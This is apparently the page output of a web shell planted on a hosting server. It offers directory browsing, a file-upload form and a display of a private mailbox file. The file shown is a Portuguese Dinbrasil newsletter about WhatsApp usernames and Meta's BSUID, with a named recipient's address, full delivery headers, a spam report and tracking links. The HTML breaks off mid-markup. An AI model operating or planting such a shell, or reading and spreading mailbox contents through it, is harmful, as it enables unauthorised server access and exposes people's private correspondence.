<!DOCTYPE HTML>
<HTML>
<HEAD>
<title></title>
<style>
body{
font-family: monospace;
font-weight: bold;
font-size: 18px;
background-color: #c5c5c5;
color: #000;
}
#content tr:hover{
background-color: #ccc;
}
#content .first{
background-color: #ccc;
}
#content .first:hover{
background-color: #ccc;
}
table{
border: 3px #000 solid;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #00f;
}
input,select,textarea{
border: 1px #000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input {
 font-size: 18px;
 font-weight: bold;
 padding: 5px;
}
select {
font-size: 19px
}
textarea {
font-size: 10px
}
td, tr { padding: 2px 5px; }

</style>
</HEAD>
<BODY>
<hr width="920" color="black"/>
<hr width="920" color="black"/><center><p><h2>Your IP : 216.73.217.94</h2></p></center>
<hr width="920" color="black"/>
<table width="920" border="1px" cellpadding="7" cellspacing="0" align="center">
<tr><td style="padding: 8px">Current Path : <a href="?path=/">/</a><a href="?path=//home2">home2</a>/<a href="?path=//home2/noxxprod">noxxprod</a>/<a href="?path=//home2/noxxprod/mail">mail</a>/<a href="?path=//home2/noxxprod/mail/new">new</a>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
</td></tr><tr><td style='padding: 8px'>Current File : //home2/noxxprod/mail/new/1783421193.M512888P41780.host.sdserver127.com.br,S=55667,W=56568</tr></td></table><br /><pre>Return-Path: &lt;bounces+30363501-90c4-charles.silva=noxxproducoes.com@emailmkt.dinbrasil.com.br&gt;
Delivered-To: noxxprod@host.sdserver127.com.br
Received: from host.sdserver127.com.br
	by host.sdserver127.com.br with LMTP
	id 2EqTHAnZTGo0owAAk55skA
	(envelope-from &lt;bounces+30363501-90c4-charles.silva=noxxproducoes.com@emailmkt.dinbrasil.com.br&gt;)
	for &lt;noxxprod@host.sdserver127.com.br&gt;; Tue, 07 Jul 2026 07:46:33 -0300
Return-path: &lt;bounces+30363501-90c4-charles.silva=noxxproducoes.com@emailmkt.dinbrasil.com.br&gt;
Envelope-to: charles.silva@noxxproducoes.com
Delivery-date: Tue, 07 Jul 2026 07:46:33 -0300
Received: from o167-89-15-135.outbound-mail.sendgrid.net ([167.89.15.135]:62120)
	by host.sdserver127.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.99.4)
	(envelope-from &lt;bounces+30363501-90c4-charles.silva=noxxproducoes.com@emailmkt.dinbrasil.com.br&gt;)
	id 1wh3Jq-00000000C7D-05rk
	for charles.silva@noxxproducoes.com;
	Tue, 07 Jul 2026 07:46:33 -0300
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dinbrasil.com.br;
	h=content-type:date:from:mime-version:subject:reply-to:list-unsubscribe:
	list-unsubscribe-post:to:cc:content-type:date:from:subject:to;
	s=m1; t=1783421143;
	bh=nL57mvYZI9zVRFx2XXvlLg8OQaK/4O7T+awEXfmGebQ=;
	b=HOXYqhXe36ynzr8uyOr+fyDGjy81kS20NNNL/S9XQUMhq+l5s4jMXsfzjSVpf5ks191O
	IksfXeNK+iMJ5nSvA9jY60KDgZnwSiXB1c9tKpDaqmnPYS4DFdJZvb4D0pLcPv3M9P3HZs
	0y9HKvzldTqQXaGZq/cQ1QDEwi7wUoytU=
Received: by recvd-dbc5d8c4f-lvxm5 with SMTP id recvd-dbc5d8c4f-lvxm5-1-6A4CD8CC-69
	2026-07-07 10:45:32.760203066 +0000 UTC m=+53646.560021943
Received: from MzAzNjM1MDE (unknown)
	by geopod-ismtpd-6 (SG) with HTTP
	id WV-UzLHpSy2YSYO_TGUtjw
	Tue, 07 Jul 2026 10:45:32.660 +0000 (UTC)
Content-Type: multipart/alternative; boundary=51f332c9af3d8d06e44897f356a688b3e6df26fad11ae5dfb33ef4672c45
Date: Tue, 07 Jul 2026 10:45:43 +0000 (UTC)
From: Gabriela =?UTF-8?b?8J+Nig==?= Dinbrasil &lt;gabriela@dinbrasil.com.br&gt;
Mime-Version: 1.0
Message-ID: &lt;WV-UzLHpSy2YSYO_TGUtjw@geopod-ismtpd-6&gt;
Subject: Como reservar seu @ no Meta Business Suite
Reply-To: gabriela@dinbrasil.com.br
List-Unsubscribe:
 &lt;https://app.rdstation.com.br/unsubscribe/one_click/bd4a75bf-9476-48ae-9e76-aed006bbb0fb&gt;
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Precedence: bulk
X-SG-EID: 
 =?us-ascii?Q?u001=2E8yUgg8e5Hquu1l3RB5+AMAdYL28AEB8i10j5voT60f24B4RkkhlUBJHYa?=
 =?us-ascii?Q?moOv6nR4kC0A6IxFzIikM9FHzr=2FYv6=2FAuXa6Tpr?=
 =?us-ascii?Q?Jb4NaYd8cJ+iUFv1d+iteo2lE0HPWsDTrS+Zh0r?=
 =?us-ascii?Q?izjqCdQZhCQ4pYbDsRZczLRupeYQ2cqVIl8610r?=
 =?us-ascii?Q?6Lf8aouufBGJoRlAeq0AGJ=2FAQ=2FKkka89WO+9fb2?=
 =?us-ascii?Q?RxyyoJQRfCDl4DbWNbY1JV2acN4w7GAjF1s4ZhB?=
 =?us-ascii?Q?zrGztoRvGUvLAYjFMMwlL1phTA=3D=3D?=
X-SG-ID: 
 =?us-ascii?Q?u001=2ESdBcvi+Evd=2FbQef8eZF3BpTL9BgbK5wfSJMJGMsmprDfnFIhpwTKVECsc?=
 =?us-ascii?Q?QiZhmHoNNqA4dMAC2loMAI4bHfy=2FwheRp67arFf?=
 =?us-ascii?Q?hspiZgq5HqSzEL67+dq27cY3hVAZkxYJgLY5sRM?=
 =?us-ascii?Q?6mKbi3q1154FhYIW3pDgkgg9=2FuD4ehAXt+CPk+I?=
 =?us-ascii?Q?6jQXSlJOml7LdzIlAzV4C=2Frn1LECsamwyyaAZds?=
 =?us-ascii?Q?c6udCrRwKfMKMWGJaCeu6KZAaPw3sgkdn=2FDal7h?=
 =?us-ascii?Q?LZXrq0apanYsLCeFh7y6f7bPz0TeWLX2F+4WVny?=
 =?us-ascii?Q?CFiznkJbAYDmzSzx2XVlVF5xdRd0SGrrEFAgnTZ?=
 =?us-ascii?Q?Y2FkQeIilmsD9sdpElcKh0BTeBe61SJmLBfroVa?=
 =?us-ascii?Q?QJ3NxjtHvYX8gFKGj0nGpPN9VoITVusgVlUS2XE?=
 =?us-ascii?Q?ziLaWIMY08eTdPdpdUQx0reEDozfnmposjRw3sL?=
 =?us-ascii?Q?nEKTMl9YNr6LNNmPBs=2FbMzjbEyCK=2FqCjHQY7hEb?=
 =?us-ascii?Q?qeTFb8PnNWxQgzd6QUuVE9yropHyvo3z=2Fv6iQ3V?=
 =?us-ascii?Q?KSlTzeOww=3D=3D?=
To: charles.silva@noxxproducoes.com
X-Entity-ID: u001.x4i2/qQTC/97HKnVm1Dd3w==
X-Spam-Status: No, score=3.6
X-Spam-Score: 36
X-Spam-Bar: +++
X-Ham-Report: Spam detection software, running on the system &quot;host.sdserver127.com.br&quot;,
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  A nova atualiza__o da Meta que muda a forma como os clientes
    encontram sua marca. O WhatsApp j_ come_ou a lan_ar uma de suas atualiza__es
    mais significativas para o ecossistema de neg_cios: a ado__o de Nomes
   de Usu_rio (Usernames). Para o consumidor, a novidade representa [...] 
 Content analysis details:   (3.6 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: rdsv2.net]
  0.0 T_SPF_TEMPERROR        SPF: test of record failed (temperror)
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.0 HTML_IMAGE_RATIO_04    BODY: HTML has a low ratio of text to image
                             area
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
                             identical to background
  0.5 KAM_REALLYHUGEIMGSRC   RAW: Spam with image tags with ridiculously
                              huge http urls
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
                             envelope-from domain
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  3.2 HELO_DYNAMIC_IPADDR    Relay HELO'd using suspicious hostname (IP
                             addr 1)
X-Spam-Flag: NO

--51f332c9af3d8d06e44897f356a688b3e6df26fad11ae5dfb33ef4672c45
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=utf-8
Mime-Version: 1.0

A nova atualiza=C3=A7=C3=A3o da Meta que muda a forma como os clientes enco=
ntram sua marca.
 =20
 O WhatsApp j=C3=A1 come=C3=A7ou a lan=C3=A7ar uma de suas atualiza=C3=A7=
=C3=B5es mais significativas para o ecossistema de neg=C3=B3cios: a ado=C3=
=A7=C3=A3o de Nomes de Usu=C3=A1rio (Usernames). Para o consumidor, a novid=
ade representa um salto em privacidade e conveni=C3=AAncia. Para as empresa=
s, especialmente as que operam via API Oficial, representa uma transforma=
=C3=A7=C3=A3o na arquitetura de dados e na forma como identificamos cliente=
s.

 Nesta edi=C3=A7=C3=A3o, vamos mergulhar no impacto do BSUID e no passo a p=
asso t=C3=A9cnico para adaptar a sua opera=C3=A7=C3=A3o.



 Com os nomes de usu=C3=A1rio, as pessoas poder=C3=A3o ocultar seus n=C3=BA=
meros de telefone. Para que a comunica=C3=A7=C3=A3o empresarial continue fl=
uindo, a Meta introduziu o BSUID (Business Scoped User ID).


 O BSUID =C3=A9 um c=C3=B3digo =C3=BAnico gerado automaticamente, atrelado =
ao Portf=C3=B3lio Empresarial (Gerenciador de Neg=C3=B3cios) da sua empresa=
. Se um usu=C3=A1rio conversar com a sua empresa, voc=C3=AA receber=C3=A1 u=
m BSUID.

 Se ele conversar com a concorr=C3=AAncia, a concorr=C3=AAncia receber=C3=
=A1 um BSUID completamente diferente. Isso garante a privacidade do usu=C3=
=A1rio, mas exige que os sistemas corporativos (CRMs, plataformas de atendi=
mento, automa=C3=A7=C3=B5es) se adaptem para usar essa nova chave prim=C3=
=A1ria em seus webhooks.


Empresas de diferentes tamanhos poder=C3=A3o adotar usernames, facilitando =
a jornada de descoberta da marca.

 Assim como os consumidores, as marcas tamb=C3=A9m ter=C3=A3o a oportunidad=
e de registrar seus pr=C3=B3prios Usernames (ex: @SuaEmpresa). Isso criar=
=C3=A1 novas din=C3=A2micas de descobrimento org=C3=A2nico e campanhas omni=
channel, onde o cliente simplesmente busca pelo nome da marca no app, sem p=
recisar adicionar um n=C3=BAmero aos contatos.

=C3=89 importante destacar que a rela=C3=A7=C3=A3o =C3=A9 de um para um: ca=
da n=C3=BAmero de telefone suporta apenas um =C3=BAnico nome de usu=C3=A1ri=
o.

 Quer saber como reservar o username da sua empresa no Gerenciador do Whats=
App, no Meta Business Suite? Assista ao v=C3=ADdeo abaixo:

  CLIQUE AQUI  [ https://t.rdsv2.net/ls/click?upn=3Du001.MQGdmfoRLg23zMTeIk=
eByYNfVJr-2Ftdt0nkIki-2By75y7YowVm-2BgGp5QqMJTo9lxZfcMFMrJlei0nxzSOLvyi261S=
CPHI7qF3AAbH1bewWXOKsH9XthCe9M2ImHsrMV-2FvO-2FezVQwCZoA1GSn-2FInNLQngPkApma=
QER2TMTct-2FTIFE2PLMU7dCBjbj1W0YOW9XFSyoQC_fylF09WDx4VRLHs1TE6by0lBT3OrszeO=
W3G9NOmiwoGU-2F1VeiQuQ0lYpqo2zrBvgBSrD2YO-2BKUge6hdbmY6lBt4Myj3-2Fikgdj8IVh=
yyU5DMtADp8HRLbhuNenybMDMZ067Vz8DZ1yW52SZ0l4N7EG-2FPPyY6jW8S57ctquKz-2Bwz9-=
2BAXeXqm46ul60SmLQuQtxClTVR7nxHEbg9nxJvawLieH5NGJ9N-2FpQCL7QyYv4XcFO3cbH-2B=
qDpVHvlqbwMKS9YxpSpTvCRtPwXj48eWWGlthj64HUovstoBJyGLr6WAbZvhxiuhCBllq3w8Z6M=
3BqKKW4P7sepKUx9CZc8LBkbVzBzDIvFGLLX1FCO9-2BLeJenfpJaKMx-2F0Ruempz13UL7qMlf=
BAo-2BToJy-2F6aSCE4l8HyzptzKx0RvzxeMwpcdjJCQjJHyvyOeTPQn-2FJoF2PEMdE5iXFMR3=
KpXZ5TE5CiJ-2FdRXs7Pv9h8Fpw5GEZ6IRbVvuEIws-2Byk-2FCsZFRlN0XpUq8er-2FqgPu6Rw=
ITGOOLhBhP62f4tS-2BojaW93Bo0tGmQgKlgSVZzraF5EZAdrYxTqAYrFFZiYxa3WxJjN7PBc-2=
F5557FMtMuIR5eRbii9ukZR6P-2FAbKoVPYXl-2Fume9jehv-2FwpzgNBeGuuIXLuXZp47md0wU=
Bl5sW8OSDAsFksbiNkJaCWaMYTYtQw8YqLgVYnOWt ]
Segundo especialistas da pr=C3=B3pria Meta, a adequa=C3=A7=C3=A3o t=C3=A9cn=
ica deve ser dividida em quatro grandes etapas:


 1. Recepcionar o BSUID: Preparar seus webhooks para ler essa nova string q=
ue j=C3=A1 est=C3=A1 sendo entregue nos testes.


 2. Guardar o BSUID no banco de dados: Considerado o maior desafio (cerca d=
e 80% do esfor=C3=A7o t=C3=A9cnico). =C3=89 preciso associar essa nova chav=
e ao hist=C3=B3rico de clientes que voc=C3=AA j=C3=A1 possui em seu CRM.


 3. Enviar mensagens usando o BSUID: Ajustar as requisi=C3=A7=C3=B5es de sa=
=C3=ADda da API para utilizar o BSUID como destino, caso o n=C3=BAmero de t=
elefone n=C3=A3o esteja dispon=C3=ADvel.


 4. Requisitar o telefone (Opcional): Implementar o uso do novo bot=C3=A3o =
interativo &quot;Request Contact&quot; em templates de utilidade ou marketing, caso s=
ua opera=C3=A7=C3=A3o exija ativamente o telefone do cliente para cadastros=
 externos.


O n=C3=BAmero de telefone n=C3=A3o vai desaparecer completamente. Ele conti=
nuar=C3=A1 vis=C3=ADvel e necess=C3=A1rio em algumas situa=C3=A7=C3=B5es:


- Usu=C3=A1rios que decidirem n=C3=A3o adotar o username.
- Contatos antigos com os quais sua empresa interagiu nos =C3=BAltimos 30 d=
ias ou que est=C3=A3o salvos na nova funcionalidade de &quot;Agenda de Contatos&quot;=
 (Contact Book) fornecida pela Meta.
 - Mensagens de Autentica=C3=A7=C3=A3o (OTP): C=C3=B3digos de seguran=C3=A7=
a e senhas continuar=C3=A3o exigindo o n=C3=BAmero de telefone obrigatoriam=
ente.


Clientes com intera=C3=A7=C3=A3o nos =C3=BAltimos 30 dias est=C3=A3o proteg=
idos pelo Contact Book da Meta. Para clientes mais antigos, o BSUID j=C3=A1=
 est=C3=A1 sendo capturado desde abril =E2=80=94 o que reduz o risco. Mas, =
perdas parciais s=C3=A3o poss=C3=ADveis para bases muito antigas sem reenga=
jamento.

=20
  Sim, de acordo com a pr=C3=B3pria Meta, usu=C3=A1rios que interagiram h=
=C3=A1 mais de 30 dias e adotarem @username podem gerar contato duplicado, =
pois o BSUID pode n=C3=A3o ter sido vinculado antes da mudan=C3=A7a. =C3=89=
 uma limita=C3=A7=C3=A3o da transi=C3=A7=C3=A3o que afeta todos os BSPs.


 Se um cliente totalmente desconhecido, que utiliza um username, iniciar um=
a conversa, voc=C3=AA receber=C3=A1 apenas o BSUID dele, como se fosse um c=
ontato &quot;misterioso&quot;. Para esses casos, caso o seu CRM precise do n=C3=BAmer=
o de celular, o WhatsApp lan=C3=A7ou uma solu=C3=A7=C3=A3o nativa: o bot=C3=
=A3o REQUEST_CONTACT_INFO.


 Voc=C3=AA pode incluir esse bot=C3=A3o (Request Contact) nos seus template=
s de mensagem. Quando o cliente clica nele, aparece um pop-up perguntando s=
e ele aceita compartilhar o n=C3=BAmero. Se ele disser sim, o WhatsApp envi=
a o telefone real dele diretamente para o seu webhook e j=C3=A1 o salva na =
sua Agenda de Contatos. Isso =C3=A9 muito mais seguro e evita que o cliente=
 digite um n=C3=BAmero errado durante a conversa.


 Por fim, =C3=A9 importante lembrar de uma exce=C3=A7=C3=A3o vital: as mens=
agens de Autentica=C3=A7=C3=A3o (OTP/senhas). Por quest=C3=B5es r=C3=ADgida=
s de seguran=C3=A7a, a Meta decidiu que c=C3=B3digos de verifica=C3=A7=C3=
=A3o n=C3=A3o podem ser enviados apenas via BSUID; eles sempre exigir=C3=A3=
o o envio para o n=C3=BAmero de telefone do usu=C3=A1rio.


Defina um padr=C3=A3o antes de reservar seus usernames. Exemplos:


 - @nomedasuamarca =E2=80=94 canal principal de contato (ou nome da marca g=
lobal/m=C3=A3e)
- @nomedasuamarca-atendimento =E2=80=94 suporte
- @nomedasuamarca-vendas =E2=80=94 n=C3=BAmero dedicado a vendas
=C2=A0
Al=C3=A9m disso:
- Evite nomes gen=C3=A9ricos que possam causar confus=C3=A3o com concorrent=
es ou empresas de outros segmentos.
 - Reserve usernames para todas as contas relevantes, mesmo que n=C3=A3o as=
 use imediatamente.
- Via Accounts Center =C3=A9 poss=C3=ADvel manter o mesmo @ nos servi=C3=A7=
os Meta. Verifique a disponibilidade do nome antes de reservar!


A grande recomenda=C3=A7=C3=A3o t=C3=A9cnica =C3=A9: n=C3=A3o espere o lan=
=C3=A7amento global.
 As etapas 1 e 2 j=C3=A1 podem (e devem) ser iniciadas pelas equipes de des=
envolvimento, garantindo que, quando a chave virar, o seu neg=C3=B3cio cont=
inue se comunicando com excel=C3=AAncia e sem perda de dados.

Como a sua empresa est=C3=A1 se preparando para essa nova era do WhatsApp? =
Compartilhe este artigo com sua equipe de produto e tecnologia!

 At=C3=A9 mais,



Enviado por Dinbrasil=20
Rua Cl=C3=B3vis Soares, 200 - Patriani Offices - Torre It=C3=A1lia, 3=C2=B0=
 Andar, sala 302
 Caso n=C3=A3o queira mais receber estes e-mails,=C2=A0 cancele sua inscri=
=C3=A7=C3=A3o [ https://t.rdsv2.net/ls/click?upn=3Du001.MQGdmfoRLg23zMTeIke=
BySMRwijHBtIutOFJmHuhz1yTgAKmN7zVH8RqAdpiRD8924YmRMGdTbAkBbskoPSYF7PQy2znI4=
0Opaa-2BjWVUHmOjd7NqPJK4CpaJwBAixMvw6IK6sQ7jvbOIcE5whcMsHPfPk0Wnlok-2FUlutL=
TeD46BFQ-2BpOUuU87sZH57QFIXxroIqO36-2BbvSlu2uqUprZ4mBlSRQ441Wtlwl7JpmAzR-2F=
0-3DB91i_fylF09WDx4VRLHs1TE6by0lBT3OrszeOW3G9NOmiwoGU-2F1VeiQuQ0lYpqo2zrBvg=
BSrD2YO-2BKUge6hdbmY6lBt4Myj3-2Fikgdj8IVhyyU5DMtADp8HRLbhuNenybMDMZ067Vz8DZ=
1yW52SZ0l4N7EG-2FPPyY6jW8S57ctquKz-2Bwz9-2BAXeXqm46ul60SmLQuQtxClTVR7nxHEbg=
9nxJvawLieH5NGJ9N-2FpQCL7QyYv4XcFO3cbH-2BqDpVHvlqbwMKS9YxpSpTvCRtPwXj48eWWG=
lthj64HUovstoBJyGLr6WAbZvhxiuhCBllq3w8Z6M3BqKKW4P7sepKUx9CZc8LBkbVzBzDIvFGL=
LX1FCO9-2BLeJenfpJaKMx-2F0Ruempz13UL7qMlfBAo-2BToJy-2F6aSCE4l8HyzptzKx0Rvzx=
eMwpcdjJCQjJHyvyOeTPQn-2FJoF2PEMdE5iXFMR3KpXZ5TE5CiJ-2FdRXs7Pv9h8Fpw5GEZ6IR=
bVvuEIws-2Byk-2FCsZFRlN0XpUq8er-2FqgPu6RwITGOOLhBhP62f4tS-2BojaW93Bo0tGmQgK=
lgSVZzraF5EZAdrYxTqAYgCFlOByyq63UBKz6GwEmAN03hcK0rIAzedAQN8wjpnxpfyZGmwbE8M=
uWlUlSc3qlhy6wJ-2FEK-2BpaL5-2FmrOVB8mT-2FsZG38RI3-2FBe-2FMSlpyVtu0gD09OsN5f=
iAtoZINDyVy ].
--51f332c9af3d8d06e44897f356a688b3e6df26fad11ae5dfb33ef4672c45
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=utf-8
Mime-Version: 1.0

&lt;!DOCTYPE html&gt;
&lt;html xmlns:v=3D&quot;urn:schemas-microsoft-com:vml&quot; xmlns:o=3D&quot;urn:schemas-micr=
osoft-com:office:office&quot; lang=3D&quot;pt-BR&quot;&gt;
&lt;head&gt;
&lt;title&gt;&lt;/title&gt;
&lt;meta http-equiv=3D&quot;Content-Type&quot; content=3D&quot;text/html; charset=3Dutf-8&quot;&gt;
&lt;meta name=3D&quot;viewport&quot; content=3D&quot;width=3Ddevice-width,initial-scale=3D1&quot;&gt;
&lt;!--[if mso]&gt;
&lt;xml&gt;&lt;w:WordDocument xmlns:w=3D&quot;urn:schemas-microsoft-com:office:word&quot;&gt;&lt;w:D=
ontUseAdvancedTypographyReadingMail/&gt;&lt;/w:WordDocument&gt;
&lt;o:OfficeDocumentSettings&gt;&lt;o:PixelsPerInch&gt;96&lt;/o:PixelsPerInch&gt;&lt;o:AllowPNG/=
&gt;&lt;/o:OfficeDocumentSettings&gt;&lt;/xml&gt;
&lt;![endif]--&gt;&lt;!--[if !mso]&gt;&lt;!--&gt;&lt;link href=3D&quot;https://fonts.googleapis.com/c=
ss2?family=3DMontserrat:wght@100;400;700;900&amp;amp;display=3Dswap&quot; rel=3D&quot;sty=
lesheet&quot; type=3D&quot;text/css&quot;&gt;
&lt;link href=3D&quot;https://fonts.googleapis.com/css2?family=3DOpen+Sans:wght@400=
;700&amp;amp;display=3Dswap&quot; rel=3D&quot;stylesheet&quot; type=3D&quot;text/css&quot;&gt;
&lt;!--&lt;![endif]--&gt;&lt;style&gt;
*{box-sizing:border-box}body{margin:0;padding:0}a[x-apple-data-detectors]{c=
olor:inherit!important;text-decoration:inherit!important}#MessageViewBody a=
{color:inherit;text-decoration:none}p{line-height:inherit}.desktop_hide,.de=
sktop_hide table{mso-hide:all;display:none;max-height:0;overflow:hidden}.im=
age_block img+div{display:none}sub,sup{font-size:75%;line-height:0}.row-3 .=
column-1 .block-10 .button:hover{background-color:#cec000!important;border-=
bottom:0 solid transparent!important;border-left:0 solid transparent!import=
ant;border-right:0 solid transparent!important;border-top:0 solid transpare=
nt!important;color:#000!important} @media (max-width:620px){.image_block di=
v.fullWidth{max-width:100%!important}.row-content{width:100%!important}.sta=
ck .column{width:100%;display:block}.mobile_hide{min-height:0;max-height:0;=
max-width:0;display:none;overflow:hidden;font-size:0}.desktop_hide,.desktop=
_hide table{display:table!important;max-height:none!important}.row-1 .colum=
n-1 .block-1.image_block td.pad{padding:0!important}.row-3 .column-1 .block=
-10.button_block span{font-size:16px!important;line-height:19.2px!important=
}.row-3 .column-1 .block-10.button_block td.pad .button{width:60%!important=
}.row-3 .column-1 .block-26.text_block td.pad{padding:15px 10px 25px 10px!i=
mportant}.row-3 .column-1 .col-pad{padding:5px 10px 0 10px!important}.row-2=
 .column-1 .block-1.paragraph_block td.pad&gt;div,.row-2 .column-1 .block-2.pa=
ragraph_block td.pad&gt;div,.row-3 .column-1 .block-1.paragraph_block td.pad&gt;d=
iv,.row-3 .column-1 .block-12.paragraph_block td.pad&gt;div,.row-3 .column-1 .=
block-14.paragraph_block td.pad&gt;div,.row-3 .column-1 .block-16.paragraph_bl=
ock td.pad&gt;div,.row-3 .column-1 .block-18.paragraph_block td.pad&gt;div,.row-3=
 .column-1 .block-20.paragraph_block td.pad&gt;div,.row-3 .column-1 .block-22.=
paragraph_block td.pad&gt;div,.row-3 .column-1 .block-24.paragraph_block td.pa=
d&gt;div,.row-3 .column-1 .block-3.paragraph_block td.pad&gt;div,.row-3 .column-1=
 .block-4.paragraph_block td.pad&gt;div,.row-3 .column-1 .block-6.paragraph_bl=
ock td.pad&gt;div,.row-3 .column-1 .block-7.paragraph_block td.pad&gt;div,.row-3 =
.column-1 .block-8.paragraph_block td.pad&gt;div{text-align:left!important;fon=
t-size:16px!important}.row-2 .column-1 .block-1.paragraph_block td.pad,.row=
-2 .column-1 .block-2.paragraph_block td.pad,.row-3 .column-1 .block-1.para=
graph_block td.pad,.row-3 .column-1 .block-12.paragraph_block td.pad,.row-3=
 .column-1 .block-14.paragraph_block td.pad,.row-3 .column-1 .block-16.para=
graph_block td.pad,.row-3 .column-1 .block-18.paragraph_block td.pad,.row-3=
 .column-1 .block-20.paragraph_block td.pad,.row-3 .column-1 .block-22.para=
graph_block td.pad,.row-3 .column-1 .block-24.paragraph_block td.pad,.row-3=
 .column-1 .block-25.paragraph_block td.pad,.row-3 .column-1 .block-3.parag=
raph_block td.pad,.row-3 .column-1 .block-4.paragraph_block td.pad,.row-3 .=
column-1 .block-6.paragraph_block td.pad,.row-3 .column-1 .block-7.paragrap=
h_block td.pad,.row-3 .column-1 .block-8.paragraph_block td.pad,.row-3 .col=
umn-1 .block-9.paragraph_block td.pad{padding:10px 5px!important}.row-3 .co=
lumn-1 .block-25.paragraph_block td.pad&gt;div,.row-3 .column-1 .block-9.parag=
raph_block td.pad&gt;div{text-align:center!important;font-size:16px!important}=
.row-2 .column-1 .col-pad,.row-3 .column-1 .block-10.button_block td.pad{pa=
dding:10px!important}}
&lt;/style&gt;
&lt;!--[if mso ]&gt;&lt;style&gt;sup, sub { font-size: 100% !important; } sup { mso-tex=
t-raise:10% } sub { mso-text-raise:-10% }&lt;/style&gt; &lt;![endif]--&gt;
&lt;/head&gt;
&lt;body class=3D&quot;body&quot; style=3D&quot;margin:0;padding:0;-webkit-text-size-adjust:n=
one;text-size-adjust:none;background-color:#fff&quot;&gt; &lt;img src=3D&quot;https://t.rds=
v2.net/wf/open?upn=3Du001.xKhs38IOIRFzGk9LwcY-2Bwtfj6MPspWkmxqH-2FpklqMj-2B=
UpsNtDK6CnHeB-2Bk6LLH-2FNUUULPP3MlDpMqqe08qW2outkfcfohiNlu24JmTEbIOmpm1hOZR=
KPZTqRn0WwAOlxi51DyacK7qWDYkOAugLJ81vyXOFxjUvjHxKajDfcfk197N8itFhCtBXF6NaMw=
OPz2Q-2B4qm0KpJaid1PQMEwM8xPHO5ofzYIgIgJTI2eUi504BJ3MqfLcKITVwulbCmS3xqzwOH=
Ol7dwCOREIPKGMRGFflPWF6WVXhyna1zdoW1di5fKN1Tt9RaoUmTFpO2ulcOGIuUCPn7LdlH-2F=
G9MmOOSg4mZiarkeWRZgNz4FSBkApKe1Bv8Zs18j4h4FGoVNO8GMKTTpDtmmqo49b5ZVtvn3Sqq=
dk-2BN7tD0QStI-2FiQOa9eHc9L837ojSVV-2FXTEli2qAlWfKNdl62klce8fhKKoq9NiB6LnH1=
widaFLiW5tph7A1nkzNtP2vol-2Bmgjdd8vpCLuQOKwK0muh-2BKyXIIK3rsWsgKqeqpdDakKjo=
LCa-2BGnaA-2BxJbZr33UI-2FJ7imExgsPh4VIvNQAXJuF8qN53WO4W-2B-2BNV-2FH3k-2FaFs=
ujK1PqKfw1H49vzRwP9OtitZ0NJwvHbxW5PC9Q8UcEPXurvvp6pALThbb747-2FxjrbcFVX-2Ff=
Ho0J9Mw5idBWyaIyADmq2MsLPfqE6CuQ0nyL6NinrK3g-3D-3D&quot; alt=3D&quot;&quot; width=3D&quot;1&quot; he=
ight=3D&quot;1&quot; border=3D&quot;0&quot; style=3D&quot;height:1px !important;width:1px !important=
;border-width:0 !important;margin-top:0 !important;margin-bottom:0 !importa=
nt;margin-right:0 !important;margin-left:0 !important;padding-top:0 !import=
ant;padding-bottom:0 !important;padding-right:0 !important;padding-left:0 !=
important;&quot;/&gt;=20
&lt;div class=3D&quot;preheader&quot; style=3D&quot;display:none;font-size:1px;color:#fff;lin=
e-height:1px;max-height:0;max-width:0;opacity:0;overflow:hidden&quot;&gt;A nova atu=
aliza=C3=A7=C3=A3o da Meta que muda a forma como os clientes encontram sua =
marca.&lt;/div&gt;
&lt;table class=3D&quot;nl-container&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpadding=3D&quot;0&quot;=
 cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:0;mso-ta=
ble-rspace:0;background-color:#fff;background-image:none;background-positio=
n:top left;background-size:auto;background-repeat:no-repeat&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td=
&gt;
&lt;table class=3D&quot;row row-1&quot; align=3D&quot;center&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cel=
lpadding=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-l=
space:0;mso-table-rspace:0;background-color:#000;background-size:auto&quot;&gt;&lt;tbo=
dy&gt;
&lt;tr&gt;&lt;td&gt;&lt;table class=3D&quot;row-content stack&quot; align=3D&quot;center&quot; border=3D&quot;0&quot; ce=
llpadding=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-=
lspace:0;mso-table-rspace:0;background-size:auto;border-radius:0;color:#000=
;width:600px;margin:0 auto&quot; width=3D&quot;600&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=3D&quot;column co=
lumn-1&quot; width=3D&quot;100%&quot; style=3D&quot;mso-table-lspace:0;mso-table-rspace:0;font-=
weight:400;text-align:left;border-bottom:0 solid transparent;border-left:0 =
solid transparent;border-right:0 solid transparent;border-top:0 solid trans=
parent;vertical-align:top&quot;&gt;&lt;table class=3D&quot;image_block block-1&quot; width=3D&quot;10=
0%&quot; border=3D&quot;0&quot; cellpadding=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; =
